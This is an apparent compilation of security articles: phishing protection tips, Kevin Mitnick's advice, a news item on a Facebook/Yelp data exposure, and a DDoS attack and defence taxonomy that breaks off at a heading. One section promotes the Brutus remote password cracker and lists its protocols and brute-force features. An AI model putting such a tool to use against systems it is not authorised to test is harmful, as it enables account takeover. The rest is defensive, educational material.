Protection Against Phishing Attacks: 44 Ways to Protect Yourself

It’s a scam that generates billions of dollars even when only 5 percent of the darts hit the target, it threatens the integrity of online transactions between customers and e-business houses, it’s a constant cat-and-mouse game between the perpetrators and the security guys hot on their heels - phishing, carding, brand spoofing, web spoofing - call it what you will, there’s no escaping the fact that the threat of this swindle is getting more dangerous by the day.
The offenders have at their disposal an arsenal of weaponry - seemingly innocuous links embedded in emails that redirect to fake sites, pop-up windows that encourage you to enter sensitive information, URL masks that conjure up real Web addresses, and keystroke loggers that are lurking around waiting to capture your user ids and passwords even as you type them. You don’t necessarily have to be tech-savvy to protect yourself from phishing attacks, it’s enough if you keep your wits about you, are a little aware that not all sites on the Internet are the genuine article, and follow one or a combination of the following 44 tips.

Simple, but effective…
1. Never trust strangers: The same rules you were taught as a child come into play here; DO NOT open emails that are from people you don’t know. Set your junk and spam mail filter to deliver only content from those in your address book.
2. Sidestep those links: What happens if your spam filter is fooled into delivering junk mail to your inbox, and you happen to open it? Simple – NEVER click on links embedded in your email.
3. Guard your privacy: Your mouse just happened to move over the link and lo and behold, you’re transported to another website where you’re asked to provide sensitive information like user names, account numbers, password and credit card and social security numbers. Just one word for you - DON’T.
4. Fear Not: More often than not, these phony websites come with threats or warnings that your account is in danger of being deactivated if you don’t confirm your user information, or that the IRS is due to pay you a visit if you don’t comply with what’s written on the page. Just IGNORE them.
5. Pick up the phone and call: If you are in doubt that it just may be a legitimate request, and that your bank is actually asking you to reveal sensitive information online, CALL your customer service representative before you do anything foolhardy.
6. Use the keypad, not the mouse: TYPE in URLs instead of clicking on links to online shopping and banking sites that typically ask for credit card and account numbers.
7. Look for the lock: Valid sites that use encryption to securely transfer sensitive information are characterized by a lock on the bottom right of your browser window, NOT your web page. They also have addresses that begin with https:// rather than the usual http://.
8. Spot the difference: Sometimes, just the presence of the lock alone is proof enough that the site is authentic. To verify its genuineness, double-click the lock to display the site’s security certificate, and CHECK if the name on the certificate and the address bar match. If they don’t you’re on a problem site, so get the hell out of there.
9. Second time right: If you’re worried that you’ve reached a phishing site that’s masquerading as your banking page, sometimes the easiest way to check is to enter a WRONG password. The fake site will accept it, and then you’re usually redirected to a page that says they’re having technical difficulties, so could you please check back later? Your original banking site will not allow you entry.
10. Different is the keyword here: Use DIFFERENT passwords for different sites; I know it’s a tough ask these days when most functions of the brain are being passed on to technology, but this is a good way to prevent phishers from getting at all your sensitive transactions, even if they’ve managed to compromise one.
11. Keep your eyes open: A spam email is littered with grammatical errors, is generally not personalized, and usually has either some link or a suspicious attachment. RECOGNIZE and report them as spam.
12. Familiarity breeds contempt: Not sure that you can spot a phisher’s email when you receive one? Well, take a LOOK at these and you’ll know how they’re generally framed. By and by, you’ll learn how to spot the fake ones.
13. Greed doesn’t pay: NEVER be taken in by offers of money for participating in surveys that ask for sensitive information. These are always fraudulent attempts to get hold of your personal details. You may get the $20 that’s promised, but there’s also a high probability that you may find your account cleaned out.
14. No stepping out: Do not leave your computer UNATTENDED when logged into your bank account or when you’ve provided credit card information on a shopping site.
15. Proper exits count: Once you’ve finished your business, LOG OUT properly instead of just closing the browser window, especially if you’re using a public terminal.
16. You can never be too careful: LOG INTO your bank account on a regular basis and keep tabs on your money. You don’t want to wake up one fine day and find that a phisher’s been siphoning off a few hundred dollars every now and then.
17. A little knowledge is not dangerous: Keep yourself up to date with the latest news and INFORMATION on phishing.
18. Hard evidence: Be very careful when disposing of old computers and hard disks. Recycled computers have been found to retain confidential information pertaining to Internet banking. Use software to ERASE and over-write data on your hard disk to ensure that it is not recoverable.

For business as usual…
19. I know him, or do I? Beware of SPEAR PHISHING – when your corporate account is compromised and emails soliciting private information reportedly come from your colleagues or higher-ups, it’s better to call the person concerned and verify the authenticity of the email.
20. Peruse those records: As part of a business organization, there’s much you can do to prevent phishers from compromising your firm’s security. Set up firewalls and get you’re your anti-virus systems in place. MONITOR the logs from your DNS and proxy servers, firewalls and other intrusion detection systems on a regular basis to check if you’ve been infected.
21. Policy is the best policy: Set strict POLICIES for the creation of passwords for your clients, servers and routers, and ensure that your personnel follow them diligently.
22. No intruding: Establish intrusion detection and prevention systems that protect your network content and prevent the sending and receipt of phishing emails. Protect your GATEWAY with anti-phishing and anti-virus tools and firewalls.
23. Watch the company you keep: Maintain a list of approved DEVICES that are allowed to connect to your firm’s network.

Taking technology on your side…
24. It’s a matter of trust: An important question is, can you trust the site’s certificate to be authentic? VeriSign was guilty of issuing security certificates to sites that claimed to be part of Microsoft not so long ago. The latest versions of browsers, IE 7 and Opera 9 will soon be able to provide users with EV SSL (Extended Validation SSL) certificates that assure them of being on a genuine site. The address bar shows green for the good guys and red for the doubtful ones.
25. From phishers with greed: Emails can also be spoofed. The only way you can be sure they are not, is to use clients that support S/MIME digital signatures. First check if the sender’s address is correct, and then look for the digital signature. This is a pretty effective anti-phishing tactic as the signature is generated by the client after the mail has been opened and authenticated, and because it’s based on robust cryptographic techniques.
26. Keep up or else: Make sure your operating system and browsers are UPDATED regularly. Check for the latest patches and apply them immediately.
27. Build that fence: PROTECT your computer with effective anti-virus and anti-spam software, and set up firewalls to keep those sneaky Trojan horses out. They are capable of the worst kind of phishing – installing surreptitious key-logging software on your system that captures all your keystrokes and transports them to the crooks in some unknown location. What’s worse is that the infection spreads from your PC to other systems on your network, till all the computers are compromised.
28. Two are better than one: Use two-factor authentication to log on to sensitive sites. The COMBINATION of a software token like a password and a hardware device like an ATM card make it doubly hard to crack open an account with just one or none of the two verification factors.
29. Step by step: It’s harder for phishers to gain access to your password if you SPLIT the login process into two phases – entering your user ID in the first and other credentials in the second. The process is even more secure when you enter identification details in the second phase only if the input window is personalized in some way, for example, if an image explicitly selected by you is displayed.
30. Not just a token: Consider using an ID Vault USB TOKEN that encrypts all your user ids and passwords and stores them on a flash drive, which can then be used to securely log onto websites. Most tokens come with a list of legitimate sites and also prevent key-logging software from working effectively. The device itself is password-protected, so thieves have an added layer of encryption to tackle.
31. Hashing to confuse: Software plug-ins are joining in the fight against phishing, an example being the PwdHash, or password HASH tool developed by two Stanford professors that scrambles any password you type, and creates a unique sign-on for each site you visit. Even if phishers are given a password, it’s the wrong one.
32. I spy no spies: Another application developed along the lines of PwdHash, and also created by the same two Stanford professors, the SPYBLOCK tool prevents Trojan horse key-logging programs from stealing your passwords.
33. Extending protection: Browser extensions like Antiphish used as a plug-in by Mozilla’s Firefox offer protection against phishing attacks by maintaining LISTS of passwords and other sensitive information, and issuing warnings when users type this information on fishy sites.
34. Framing policies: Banks and online business houses would do well to use the open-source SPF (Sender Policy Framework) standard which prevents email addresses from being spoofed by listing servers that are allowed to send mail.
35. Taking on trust: As an alternative, they could use a TRUST SERVICE like GeoTrust’s True Site that allows customers to verify a website’s authenticity.

Prospective protection against phishing…
36. Sending positive signals: New technologies like the Sender ID Framework (SIDF) are joining in the fight against spoofing websites by verifying the source of each email. In the pipeline from Microsoft and CipherTrust.
37. Not barring trust: TrustBars, which are secure and tamper-proof components of browsers, allow VISUALIZATION of information related to sites. Users are alerted by visible warnings when there is a discrepancy in the visualization on the bar.
38. Slow down those attacks: Another technique, the Delayed Password Disclosure (DPD), protests against pop-up windows that ask for sensitive details (aptly termed doppelganger window attacks) works against phishing attacks when users enter passwords letter by letter, one following the other only after a corresponding image is recognized.
39. Proof positive: Websites that wish to prove they are authentic can use HTML extensions called PROOFLETS to enhance a server’s contents. These are verified by browsers through the use of special web services.

Alternative approaches…
40. Mobility in scams: As consumers are wising up to their scams, phishers are moving on to newer media to launch their scams. Mobile phones, a necessity in today’s world, are the latest targets. Text messages purporting to originate from your bank warn you that unless you confirm your account information, it will be deactivated. IGNORE these messages, they are always spam.
41. Voicing doubts: Another hot sphere of activity, the VoIP technology, is being harnessed as a phishing tool with alarming regularity. The crooks find it COST-EFFECTIVE to make numerous calls and earn a sum well above the incurred expenses. This is doubly dangerous because people, who would look at an email in with suspicion, generally tend to believe phone calls.

Make a difference…
42. Join the fight: If you come across a phishing scam, REPORT it at once to the Anti-Phishing Working Group, the U.S. Federal Trade Commission (FTC) and the FBI through the Internet Fraud Complaint Center, both of whom work to shut down phishing sites and catch those responsible.
43. Say goodbye: If any of your accounts have been compromised, CLOSE them at once.
44. Change is good: If you even suspect that your any one of your passwords has gone to the wrong hands, CHANGE all your passwords and pin numbers on online accounts immediately.

Phishing is one sphere of activity where ignorance is never bliss. As long as there are gullible people around, there will be crooks to take advantage of human vulnerabilities like carelessness, laziness, greed, and ignorance. Aided and abetted by technology, these attacks are increasing by the day. A little alertness will go a long way in fighting these cybercriminals.

source:
http://www.focus.com/fyi/it-security/44-ways-protect-phishing/

Kevin Mitnick's Security Advice

Ex-hacker Kevin Mitnick came by his security expertise the hard way. In the 1990s, his electronic penetration of some of the biggest companies in the world made him a notorious tech boogieman, and ultimately landed him five years in prison.

Now free and clear, Mitnick has reinvented himself as a computer security consultant and writer. He travels the world teaching organizations how to secure their information in a world of corporate spies and younger versions of himself. He took a break from his jet-setting to share some practical security tips. Clip them and stick them on your parents' refrigerator or your IT administrator's white board.

Protecting yourself is very challenging in the hostile environment of the internet. Imagine a global environment where an unscrupulous person from the other side of the planet can probe your computer for weaknesses, and exploit them to gain access to your most sensitive secrets.
They can even use your computer to store data like stolen credit-card numbers or child pornography, or to attack another innocent home user or business from your system.
Here's my Top 10 list of steps you should take to protect your information and your computing resources from the bad boys and girls of cyberspace.

• Back up everything! You are not invulnerable. Catastrophic data loss can happen to you -- one worm or Trojan is all it takes.
• Choose passwords that are reasonably hard to guess -- don't just append a few numbers to a no-brainer. Always change default passwords.
• Use an antivirus product like AVG or Norton, and set it to update daily.
• Update your OS religiously and be vigilant in applying all security patches released by the software manufacturer.
• Avoid hacker-bait apps like Internet Explorer and disable automatic scripting on your e-mail client.
• Use encryption software like PGP (pretty good privacy) when sending sensitive e-mail. You can also use it to protect your entire hard drive.
• Install a spyware detection app -- or even several. Programs that can be set to run frequently, like SpyCop, are ideal.
• Use a personal firewall. Configure it to prevent other computers, networks and sites from connecting to you, and specify which programs are allowed to connect to the net automatically.
• Disable any system services you're not using, especially apps that could give others remote access to your computer (like Remote Desktop, RealVNC and NetBIOS).
• Secure your wireless networks. At home, enable WPA (Wi-Fi protected access) with a password of at least 20 characters. Configure your laptop to connect in Infrastructure mode only, and don't add networks unless they use WPA.

Hackers are becoming more sophisticated in conjuring up new ways to hijack your system by exploiting technical vulnerabilities or human nature. Don't become the next victim of unscrupulous cyberspace intruders.

. . . . . . . . . . . . . . . . . . . . . . . . . . .

Brutus: The remote password cracker

Brutus is one of the fastest, most flexible remote password crackers you can get your hands on - it's also free. It is available for Windows 9x, NT and 2000, there is no UNIX version available although it is a possibility at some point in the future. Brutus was first made publicly available in October 1998 and since that time there have been at least 70,000 downloads and over 175,000 visitors to this page. Development continues so new releases will be available in the near future. Brutus was written originally to help me check routers etc. for default and common passwords


Features

Brutus version AET2 is the current release and includes the following authentication types :
HTTP (Basic Authentication)
HTTP (HTML Form/CGI)
POP3
FTP
SMB
Telnet
Other types such as IMAP, NNTP, NetBus etc are freely downloadable from this site and simply imported into your copy of Brutus. You can create your own types or use other peoples.

The current release includes the following functionality :
Multi-stage authentication engine
60 simultaneous target connections
No username, single username and multiple username modes
Password list, combo (user/password) list and configurable brute force modes
Highly customisable authentication sequences
Load and resume position
Import and Export custom authentication types as BAD files seamlessly
SOCKS proxy support for all authentication types
User and password list generation and manipulation functionality
HTML Form interpretation for HTML Form/CGI authentication types
Error handling and recovery capability inc. resume after crash/failure.

. . . . . . . . . . . . . . . . . . . . . . . . . . . 

Protect Yourself Against Facebook's New Hacker Path

Facebook had its third alarming bug in as many weeks, when a security researcher showed how a hostile website could obtain your Facebook information via Yelp. The hole is supposedly fixed, but then so were the prior two.




Facebook was vulnerable to hackers who pasted the right malicious code into text forms on Yelp, according to TechCrunch. Yelp is a special Facebook partner, and has unfettered access to certain user data — without user permission — under new, less private policies Facebook rolled out three weeks ago. The local-reviews site is one of a handful of Web properties granted such privileges under Facebook's "Instant Personalization" program.

Once a hacker pasted the right code into Yelp, he could transfer the user's Facebook credentials to his own site and reportedly have access to a user's public Facebook data, including email address, full name — not normally exposed on anonymous Yelp — profile photo, current location, friend list, and networks
Facebook told TechCrunch it closed the security hole, but it's been playing whack-a-mole on security for three weeks, ever since revamping its privacy framework at its "F8" developer's conference: First came a bug exposing user chats, then one that made regular, unauthorized websites look like privileged Facebook apps, which Facebook said was an unfortunate illusion.
The surest way to keep you data safe from Facebook's bugs is to keep it off the social networking site in the first place. But many users have found their lives are intertwined with the site, which can be used to keep in touch with family members, RSVP to parties and share photos.
If you want to keep sharing on Facebook but avoid this specific type of vulnerability in the future, go to your Facebook home page, then select the "Account" menu in the upper-right corner of the page, then select "Privacy settings." Then click "Applications and websites," the third link.

Then scroll to the bottom of the page, to where it says "Instant Personalization Pilot Program," and click "Edit Setting," as shown (click to enlarge):



Then scroll to the checkbox under the picture and uncheck it, as shown (click to enlarge):



Then click "Confirm" on the resulting dialog. Doing this will make it harder for some websites to personalize your experience with Facebook data, but it will also lock your Facebook account against further security vulnerabilities on these outside websites, which Facebook does not control:



Now you'll at least be a bit safer — until the next round of Facebook privacy changes, and the new exploits that shake out from that.
(Pic: Facebook CEO Mark Zuckerberg rolls out the new developer policies at F8. Getty Images.)

reference: http://gawker.com/5536634/protect-yourself-against-facebooks-new-hacker-path

DDoS Attacks and DDoS Defense Mechanisms

Introduction
Distributed denial-of-service attacks (DDoS) pose an immense threat to the Internet, and consequently many defense mechanisms have been proposed to combat them. Attackers constantly modify their tools to bypass these security systems, and researchers in turn modify their approaches to handle new attacks.The DDoS field is evolving quickly, and it is becoming increasingly hard to grasp a global view of the problem.
. . . . . . . . . . . . . . . . . . . . . . . . . . .

DDoS Attack Overview
A denial-of-service attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service. A distributed denial-of-service attack deploys multiple machines to attain this goal. The service is denied by sending a stream of packets to a victim that either consumes some key resource, thus rendering it unavailable to legitimate clients, or provides the attacker with unlimited access to the victim machine so he can inflict arbitrary damage. This section will answer the following questions:

1. What makes DDoS attacks possible?
2. How do these attacks occur?
3. Why do they occur?
Internet Architecture
The Internet is managed in a distributed manner; therefore no common policy can be enforced among its participants.Such design opens several security issues that provide opportunities for distributed denial-of-service attacks:
1. Internet security is highly interdependent. DDoS attacks are commonly launched from systems that are subverted through security related compromises. Regardless of how well secured the victim system may be, its susceptibility to DDoS attacks depends on the state of security in the rest of the global Internet.
2. Internet resource is limited. Each Internet host has limited resources that can be consumed by a sufficient number of users.
3. Power of many is greater than power of few. Coordinated and simultaneous malicious actions by some participants can always be detrimental to others, if the resources of the attackers are greater than the resources of the victims.
4. Intelligence and resources are not collocated an end-to-end communication paradigm led to locating most of the intelligence needed for service guarantees with end hosts. At the same time, a desire for large throughput led to the design of high bandwidth pathways in the intermediate network. Thus, malicious clients can misuse the abundant resources of unwitting network for delivery of numerous messages to a victim.
DDoS Attack Strategy
In order to perform a distributed denial-of-service attack, the attacker needs to recruit the multiple agent (slave) machines. This process is usually performed automatically through scanning of remote machines, looking for security holes that would enable subversion. Vulnerable machines are then exploited by using the discovered vulnerability to gain access to the machine, and they are infected with the attack code. The exploit/infection phase is also automated, and the infected machines can be used for further recruitment of new agents .Agent machines perform the attack against the victim. Attackers usually hide the identity of the agent machines during the attack through spoofing of the source address field in packets. The agent machines can thus be reused for future attacks.
DDoS Goals
The goal of a DDoS attack is to inflict damage on the victim, either for personal reasons (a significant number of DDoS attacks are against home computers, presumably for purposes of revenge), for material gain (damaging competitor’s resources) or for popularity (successful attacks on popular Web servers gain the respect of the hacker community).
Taxonomy of DDoS Attacks
In order to devise a taxonomy of distributed denialof- service attacks we observe the means used to prepare and perform the attack, the characteristics of the attack itself and the effect it has on the victim. Various classification criteria are indicated in bold type. Figure 1 summarizes the taxonomy.
Classification by Degree of Automation
During the attack preparation, the attacker needs to locate prospective agent machines and infect them with the attack code. Based on the degree of automation of the attack, we differentiate between manual, semi-automatic and automatic DDoS attacks.
Manual Attacks
Only the early DDoS attacks belonged to the manual category. The attacker scanned remote machines for vulnerabilities, broke into them and installed the attack code, and then commanded the onset of the attack. All of these actions were soon automated, leading to development of semiautomatic DDoS attacks, the category where most contemporary attacks belong.
Semi-Automatic Attacks
In semi-automatic attacks, the DDoS network consists of handler (master) and agent (slave, daemon) machines. The attacker deploys automated scripts for scanning and compromise of those machines and installation of the attack code. He then uses handler machines to specify the attack type and the victim’s address and to command the onset of the attack to agents, who send packets to the victim. Based on the communication mechanism deployed between agent and handler machines we divide semi-automatic attacks into attacks with direct communication and attacks with indirect communication.
Attacks with direct communication
During attacks with direct communication, the agent and handler machines need to know each other’s identity in order to communicate. This is achieved by hard-coding the IP address of the handler machines in the attack code that is later installed on the agent. Each agent then reports its readiness to the handlers, who store its IP address in a file for later communication. The obvious drawback of this approach is that discovery of one compromised machine can expose the whole DDoS network. Also, since agents and handlers listen to network connections, they are identifiable by network scanners.
Attacks with indirect communication
Attacks with indirect communication deploy a level of indirection to increase the survivability of a DDoS network.Recent attacks provide the example of using IRC channels for agent/handler communication. The use of IRC services replaces the function of a handler, since the IRC channel offers sufficient anonymity to the attacker. Since DDoS agents establish outbound connections to a standard service port used by a legitimate network service, agent communications to the control point may not be easily differentiated from legitimate network traffic. The agents do not incorporate a listening port that is easily detectable with network scanners. An attacker controls the agents using IRC communications channels. Thus, discovery of a single agent may lead no further than the identification of one or more IRC servers and channel names used by the DDoS network. From there, identification of the DDoS network depends on the ability to track agents currently connected to the IRC server. Although the IRC service is the only current example of indirect communication, there is nothing to prevent attackers from subverting other legitimate services for similar purposes.
Automatic Attacks
Automatic DDoS attacks additionally automate the attack phase, thus avoiding the need for communication between attacker and agent machines. The time of the onset of the attack,
attack type, duration and victim’s address is preprogrammed in the attack code. It is obvious that such deployment mechanisms offer minimal exposure to the attacker, since he is only involved in issuing a single command – the start of the attack script. The hard coded attack specification suggests a single-purpose use of the DDoS network. However, the propagation mechanisms usually leave the backdoor to the compromised DDoS machine open, enabling easy future access and modification of the attack code. Both semi-automatic and automatic attacks recruit the agent machines by deploying automatic scanning and propagation techniques. Based on the scanning strategy, we differentiate between attacks that deploy random scanning, hit list scanning, topological scanning, permutation scanning and local subnet scanning. Attackers usually combine the scanning and exploitation phases, thus gaining a larger agent population, and my description of scanning techniques relates to this model.
Attacks with Random Scanning
During random scanning each compromised host probes random addresses in the IP address space, using a different seed. This potentially creates a high traffic volume since many machines probe the same addresses. Code Red (CRv2) performed random scanning .
Attacks with Hitlist Scanning
A machine performing hitlist scanning probes all addresses from an externally supplied list. When it detects the vulnerable machine, it sends one half of the initial hitlist to the recipient and keeps the other half. This technique allows for great propagation speed (due to exponential spread) and no collisions during the scanning phase. An attack deploying hitlist scanning could obtain the list from netscan.org of domains that still support directed IP broadcast and can thus be used for a Smurf attack.
Attacks with Topological Scanning
Topological scanning uses the information on the compromised host to select new targets. All mail worms use topological scanning, exploiting the information from address books for their spread.
Attacks with Permutation Scanning
During permutation scanning, all compromised machines share a common pseudo-random permutation of the IP address space; each IP address is mapped to an index in this permutation. A machine begins scanning by using the index computed from its IP address as a starting point. Whenever it sees an already infected machine, it chooses a new random start point. This has the effect of providing a semi coordinated, comprehensive scan while maintaining the benefits of random probing. This technique is described in as not yet deployed.
Attacks with Local Subnet Scanning
Local subnet scanning can be added to any of the previously described techniques to preferentially scan for targets that reside on the same subnet as the compromised host. Using this technique, a single copy of the scanning program can compromise many vulnerable machines behind a firewall. Code Red II and Nimda Worm used local subnet scanning. Based on the attack code propagation mechanism, we differentiate between attacks that deploy central source propagation, back-chaining propagation and autonomous propagation .
Attacks with Central Source Propagation
During central source propagation, the attack code resides on a central server or set of servers.
After compromise of the agent machine, the code is downloaded from the central source through a file transfer mechanism. The 1i0n worm operated in this manner.
Attacks with Back-chaining Propagation
During back-chaining propagation, the attack code is downloaded from the machine that was used to exploit the system.The infected machine then becomes the source for the next propagation step. Back-chaining propagation is more survivable than central-source propagation since it avoids a single point of failure. The Ramen worm and Morris Worm used backchaining propagation.
Attacks with Autonomous Propagation
Autonomous propagation avoids the file retrieval step by injecting attack instructions directly into the target host during the exploitation phase. Code Red, Warhol Worm and numerous E-mail worms use autonomous propagation.
Classification by Exploited Vulnerability
Distributed denial-of-service attacks exploit different strategies to deny the service of the victim to its clients. Based on the vulnerability that is targeted during an attack, we differentiate between protocol attacks and brute-force attacks.
Protocol Attacks
Protocol attacks exploit a specific feature or implementation bug of some protocol installed at the victim in order to consume excess amounts of its resources. Examples include the TCP SYN attack, the CGI request attack and the authentication server attack. In the TCP SYN attack, the exploited feature is the allocation of substantial space in a connection queue immediately upon receipt of a TCP SYN request. The attacker initiates multiple connections
that are never completed, thus filling up the connection queue indefinitely. In the CGI request attack, the attacker consumes the CPU time of the victim by issuing multiple CGI requests. In the authentication server attack, the attacker exploits the fact that the signature verification process consumes significantly more resources than bogus signature generation. He sends numerous bogus authentication requests to the server, tying up its resources.
Brute-force Attacks
Brute-force attacks are performed by initiating a vast amount of seemingly legitimate transactions. Since an upstream network can usually deliver higher traffic volume than the victim network can handle, this exhausts the victim’s resources. We further divide brute-force attacks based on the relation of packet contents with victim services into filterable and non-filterable attacks.
Filterable Attacks
Filterable attacks use bogus packets or packets for non-critical services of the victim’s operation, and thus can be filtered by a firewall. Examples of such attacks are a UDP flood attack or an
ICMP request flood attack on a Web server.
Non-filterable Attacks
Non-filterable attacks use packets that request legitimate services from the victim. Thus, filtering all packets that match the attack signature would lead to an immediate denial of the specified service to both attackers and the legitimate clients. Examples are a HTTP request flood targeting a Web server or a DNS request flood targeting a name server. The line between protocol and brute force attacks is thin. Protocol attacks also overwhelm a victim’s resources with excess traffic, and badly designed protocol features at remote hosts are frequently used to perform “reflector” brute-force attacks, such as the DNS request attack or the Smurf attack. The difference is that a victim can mitigate the effect of protocol attacks by modifying the deployed protocols at its site, while it is helpless against brute-force attacks due to their misuse of legitimate services (non-filterable attacks) or due to its own limited resources (a victim can do nothing about an attack that swamps its network bandwidth). Countering protocol attacks by modifying the deployed protocol pushes the corresponding attack mechanism into the brute-force category. For example, if the victim deploys TCP SYN cookies to combat TCP SYN attacks, it will still be vulnerable to TCP SYN attacks that generate more requests than its network can accommodate. However, the brute-force attacks need to generate a much higher volume of attack packets than protocol attacks, to inflict damage at the victim. So by modifying the deployed protocols the victim pushes the vulnerability limit higher. Evidently, classification of the specific attack needs to take into account both the attack mechanisms used and the victim’s configuration. It is interesting to note that the variability of attack packet contents is determined by the exploited vulnerability. Packets comprising protocol and non-filterable brute force attacks must specify some valid header fields and possibly some valid contents. For example TCP SYN attack packets cannot vary the protocol or flag field, and HTTP flood packets must belong to an established TCP connection and therefore cannot spoof source addresses, unless they hijack connections from legitimate clients.
Classification by Attack Rate Dynamics
Depending on the attack rate dynamics we differentiate between continuous rate and variable rate attacks.
Continuous Rate Attacks
The majority of known attacks deploy a continuous rate mechanism. After the onset is commanded, agent machines generate the attack packets with full force. This sudden packet flood disrupts the victim’s services quickly, and thus leads to attack detection.
Variable Rate Attacks
Variable rate attacks are more cautious in their engagement, and they vary the attack rate to avoid detection and response. Based on the rate change mechanism we differentiate between attacks with increasing rate and fluctuating rate
.
Increasing Rate Attacks
Attacks that have a gradually increasing rate lead to a slow exhaustion of victim’s resources. A state change of the victim could be so gradual that its services degrade slowly over a long time period, thus delaying detection of the attack.
Fluctuating Rate Attacks
Attacks that have a fluctuating rate adjust the attack rate based on the victim’s behavior, occasionally relieving the effect to avoid detection. At the extreme end, there is the example of pulsing attacks. During pulsing attacks, agent hosts periodically abort the attack and resume it at a later time. If this behavior is simultaneous for all agents, the victim experiences periodic service disruptions. If, however, agents are divided into groups who coordinate so that one group is always active, then the victim experiences continuous denial of service.
Classification by Impact
Depending on the impact of a DDoS attack on the victim we differentiate between disruptive and degrading attacks.
Disruptive Attacks
The goal of disruptive attacks is to completely deny the victim’s service to its clients. All currently known attacks belong to this category.
Degrading Attacks
The goal of degrading attacks would be to consume some (presumably constant) portion of a victim’s resources. Since these attacks do not lead to total service disruption, they could remain undetected for a significant time period. On the other hand, damage inflicted on the victim could be immense. For example, an attack that effectively ties up 30% of the victim’s resources would lead to denial of service to some percentage of customers during high load periods, and possibly slower average service. Some customers, dissatisfied with the quality, would consequently change their service provider and victim would thus lose income. Alternately, the false load could result in a victim spending money to upgrade its servers and networks.
Taxonomy of DDoS Defense Mechanisms
The seriousness of the DDoS problem and the increased frequency of DDoS attacks have led to the advent of numerous DDoS defense mechanisms. Some of these mechanisms address a specific kind of DDoS attack such as attacks on Web servers or authentication servers. Other approaches attempt to solve the entire generic DDoS problem. Most of the proposed approaches require certain features to achieve their peak performance, and will perform quite differently if deployed in an environment where these requirements are not met.
As is frequently pointed out, there is no “ram ban (means the weapon which never misses the target in hindi)” against DDoS attacks. Therefore we need to understand not only each existing DDoS defense approach, but also how those approaches might be combined together to effectively and completely solve the problem.
Classification by Activity Level
Based on the activity level of DDoS defense mechanisms, we differentiate between preventive and reactive mechanisms.
Preventive Mechanisms
The goal of preventive mechanisms is either to eliminate the possibility of DDoS attacks altogether or to enable potential victims to endure the attack without denying services to legitimate clients. According to these goals we further divide preventive mechanisms into attack prevention and denial-of-service prevention mechanisms.
Attack Prevention Mechanisms
Attack prevention mechanisms modify the system configuration to eliminate the possibility of a DDoS attack. Based on the target they secure, we further divide them into system security and protocol security mechanisms.
System Security Mechanisms
System security mechanisms increase the overall security of the system, guarding against illegitimate accesses to the machine, removing application bugs and updating protocol installations to prevent intrusions and misuse of the system. DDoS attacks owe their power to large numbers of subverted machines that cooperatively generate the attack streams. If these machines were secured, the attackers would lose their army and the DDoS threat would then disappear. On the other hand, systems vulnerable to intrusions can themselves become victims of DDoS attacks in which the attacker, having gained unlimited access to the machine, deletes or alters its contents. Potential victims of DDoS attacks can be easily overwhelmed if they deploy vulnerable protocols. Examples of system security mechanisms include monitored access to the machine, applications that download and install security patches, firewall systems, virus scanners, intrusion detection systems, access lists for critical resources, capability-based systems and client-legitimacy-based systems. The history of computer security suggests that this approach can never be 100% effective, but doing a good job here will certainly decrease the frequency and strength of DDoS attacks.
Protocol Security Mechanisms
Protocol security mechanisms address the problem of bad protocol design. Many protocols contain operations that are cheap for the client but expensive for the server. Such protocols can be misused to exhaust the resources of a server by initiating large numbers of simultaneous transactions. Classic misuse examples are the TCP SYN attack, the authentication server attack, and the fragmented packet attack, in which the attacker bombards the victim with malformed packet fragments forcing it to waste its resources on reassembling attempts. Examples of protocol security mechanisms include guidelines for a safe protocol design in which resources are committed to the client only after sufficient authentication is done , or the client has paid a sufficient price , deployment of powerful proxy server that completes TCP connections , etc. Deploying comprehensive protocol and system security mechanisms can make the victim completely resilient to protocol attacks. Also, these approaches are inherently compatible with and complementary to all other approaches.
Denial-of-service prevention mechanisms enable the victim to endure attack attempts without denying service to legitimate clients. This is done either by enforcing policies for resource consumption or by ensuring that abundant resources exist so that legitimate clients will not be affected by the attack. Consequently, based on the prevention method, we differentiate between resource accounting and resource multiplication mechanisms.
Resource Accounting Mechanisms
Resource accounting mechanisms police the access of each user to resources based on the privileges of the user and his behavior. Such mechanisms guarantee fair service to legitimate well-behaving users. In order to avoid user identity theft, they are usually coupled with legitimacy-based access mechanisms that verify the user’s identity. Approaches proposed in illustrate resource accounting mechanisms.
Resource Multiplication Mechanisms
Resource multiplication mechanisms provide an abundance of resources to counter DDoS threats. The straightforward example is a system that deploys a pool of servers with a load balancer and installs high bandwidth links between itself and upstream routers. This approach essentially raises the bar on how many machines must participate in an attack to be effective. While not providing perfect protection, for those who can afford the costs, this approach has often proven sufficient. For example, Microsoft has used it to weather large DDoS attacks.
Reactive Mechanisms
Reactive mechanisms strive to alleviate the impact of an attack on the victim. In order to attain this goal they need to detect the attack and respond to it. The goal of attack detection is to detect every attempted DDoS attack as early as possible and to have a low degree of false positives. Upon attack detection, steps can be taken to characterize the packets belonging to the attack stream and provide this characterization to the response mechanism. We classify reactive mechanisms based on the attack detection strategy into mechanisms that deploy pattern detection, anomaly detection, hybrid detection, and third-party detection.
Mechanisms with Pattern Attack Detection
Mechanisms that deploy pattern detection store the signatures of known attacks in a database. Each communication is monitored and compared with database entries to discover occurrences of DDoS attacks. Occasionally, the database is updated with new attack signatures. The obvious drawback of this detection mechanism is that it can only detect known attacks, and it is usually helpless against new attacks or even slight variations of old attacks that cannot be matched to the stored signature. On the other hand, known attacks are easily and reliably detected, and no false positives are encountered
Mechanisms with Anomaly Attack Detection
Mechanisms that deploy anomaly detection have a model of normal system behavior, such as a model of normal traffic dynamics or expected system performance. The current state of the system is periodically compared with the models to detect anomalies. Approaches presented in provide examples of mechanisms that use anomaly detection. The advantage of anomaly detection over pattern detection is that unknown attacks can be discovered. However, anomaly-based detection has to address two issues:
1. Threshold setting. Anomalies are detected when the current system state differs from the model by a certain threshold. The setting of a low threshold leads to many false positives, while a high threshold reduces the sensitivity of the detection mechanism.
2. Model update. Systems and communication patterns evolve with time, and models need to be updated to reflect this change. Anomaly based systems usually perform automatic model update using statistics gathered at a time when no attack was detected. This approach makes the detection mechanism vulnerable to increasing rate attacks that can mistrial models and delay or even avoid attack detection.
Mechanisms with Hybrid Attack Detection
Mechanisms that deploy hybrid detection combine the pattern-based and anomaly-based detection, using data about attacks discovered through an anomaly detection mechanism to devise new attack signatures and update the database. Many intrusion detection systems use hybrid detection. If these systems are fully automated, properly extracting a signature from a detected attack can be challenging. The system must be careful not to permit attackers to fool it into detecting normal behavior as an attack signature, or the system itself becomes a denial-of-service tool.
Mechanisms with Third-Party Attack Detection
